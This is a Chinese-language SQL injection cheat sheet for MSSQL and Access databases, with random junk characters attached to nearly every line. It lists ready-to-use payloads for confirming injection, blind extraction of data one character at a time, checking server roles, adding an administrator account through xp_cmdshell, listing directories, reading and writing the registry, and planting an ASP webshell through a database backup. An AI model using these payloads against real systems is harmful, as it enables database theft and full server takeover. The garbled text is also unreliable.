1.判断是否有注入;and 1=1 ;and 1=2 F3Da-6T@
2.初步判断是否是mssql ;and user>0 9S'\&mRl
T}XJFV
3.注入参数是字符'and [查询条件] and ''=' "].TKF#yg
yfFe%8w_vw
4.搜索时没过滤参数的'and [查询条件] and '%25'=' .1J`>T?=Q
[tt_>O
5.判断数据库系统 S*3$1BTl
>B;S;_5=
;and (select count(*) from sysobjects)>0 mssql p{r{}iYI
R~TG5^(
;and (select count(*) from msysobjects)>0 access
b^8"EBo
+&_n[;
YWi Y[
CSm(yB{|pC
6.猜数据库 ;and (select Count(*) from [数据库名])>0 uSCI
O,J,Q|`H&
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Pff-eT+~m
.&^M
Z8
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 FuBUg _h
m]=G73jzO
9.(1)猜字段的ascii值(access) .:;q8FL/
!a'{gw
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 \4*i;a.kU
}zeKf/?'
(2)猜字段的ascii值(mssql) f'S 0"
RhjU^,%
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 X)9|ZF2`
7#T@CKdUd
10.测试权限结构(mssql) &.0 wPyw
Dp@m"_1`+
a5@lWpQsV
9x8Ai
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- cetlr
JvW!w)$pY
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ,Qe`(vU*s
)GC[xo4bg
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- aO\@5i_r
dUceZmAl
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Gh'{O/F4*
5M3)7
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- i2Gh!5]f
H{d/%}7[v
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- R ta_\Aj!
9'p
pb
;and 1=(select IS_MEMBER('db_owner'));-- ux7g%Q^"
Qm?o^%a
rIH+X2x
mP)im]H
11.添加mssql和系统的帐户 xoE,3Sn
4Gy3s|{
;exec master.dbo.sp_addlogin username;-- B"RZpx
;exec master.dbo.sp_password null,username,password;-- iF+50d
90$`AMR
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- _Nbh Wv
dFpP_U
;exec master.dbo.xp_cmdshell 'net user username password V3\}]5
FC8=
ru
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- A)^A2xZQ
?[O Sy.6
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ><;.vP
QlxlT $o}
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- w{ x=e
YwB\kN
zhwajc
j7Lw(AJ
12.(1)遍历目录 TUO#6
>Gxu8,_;
;create table dirs(paths varchar(100), id int) @/?$ ZX/e[
oX1{~lDJl
;insert dirs exec master.dbo.xp_dirtree 'c:\' /#?i +z
\V<deMb=
;and (select top 1 paths from dirs)>0 ?DJ,YY9P
( e(<4-&
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) %G~%:uJ5
C
F<
d4-cZw}+
.aR$ou,7
(2)遍历目录 /E6Tt
"{(4
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- JE+{Vx}
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 RD p(Ci
hLLg
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 7Y'.yn
V|dKKb[Lve
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 D&&11Iz&
)8Sm}aC
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 BhJ~ jV"
<^jW
o#&;,9
^)/oDyO
13.mssql中的存储过程 eTa[~esu.
[ 5kaF"
xp_regenumvalues 注册表根键, 子键 <?iwi[S
ag$UNV
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 lV !@h}mG
+2]{%=
xp_regread 根键,子键,键值名 w-MnJ(r
%!1:BQ,p,i
;exec xp_regread +EgQj*F*
!~k-Sexh
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 <%rG*vzi
^k?Ig.m
xp_regwrite 根键,子键, 值名, 值类型, 值 =2[cpF]
>U$,/_uMNW
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 [&FWR
M0% ):P?x
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 xpVYNS{c+|
$
V"7UA22
xp_regdeletevalue 根键,子键,值名 ~A=Z/46*Z
;HaG-c</
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 O ijG@bI8
PDssEb7
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 H\<C@OkJS}
nZM|8
yf7p0;$?
N8l(m5Kk,k
14.mssql的backup创建webshell ';!02=-@
5lC "10
use model /z+}xRS
t=ry\h{Pc
create table cmd(str image); < F Cr
L
O<h`[1eUjS
insert into cmd(str) values (''); ;dYpdy
EmR#)c~(W
backup database model to disk='c:\l.asp'; %8+'L4
+x0-hRD
%+9Mr ami
2FS,B\d
15.mssql内置函数 ;wz
YZ5=Di
CxtH?9# |
;and (select @@version)>0 获得Windows的版本号 A{hWFSv
>c7fg^@
;and user_name()='dbo' 判断当前系统的连接用户是不是sa C@L:m1fz
?H3xE=<X
;and (select user_name())>0 爆当前系统的连接用户 _D(F[p|
iffRGnN^e
;and (select db_name())>0 得到当前连接的数据库 "ND 7,rQ
t
<#Yr%a
8<uKzb(O:
xFS`#1
16.简洁的webshell dYJW`Q;j.|
eW+z@\d9Gz
use model ZuF-$]oL&
YXa^jFp
create table cmd(str image); U:xr['
t{K1ht$[:
insert into cmd(str) values (''); 8\t~*@"
mY3x
(#I
backup database model to disk='g:\wwwtest\l.asp';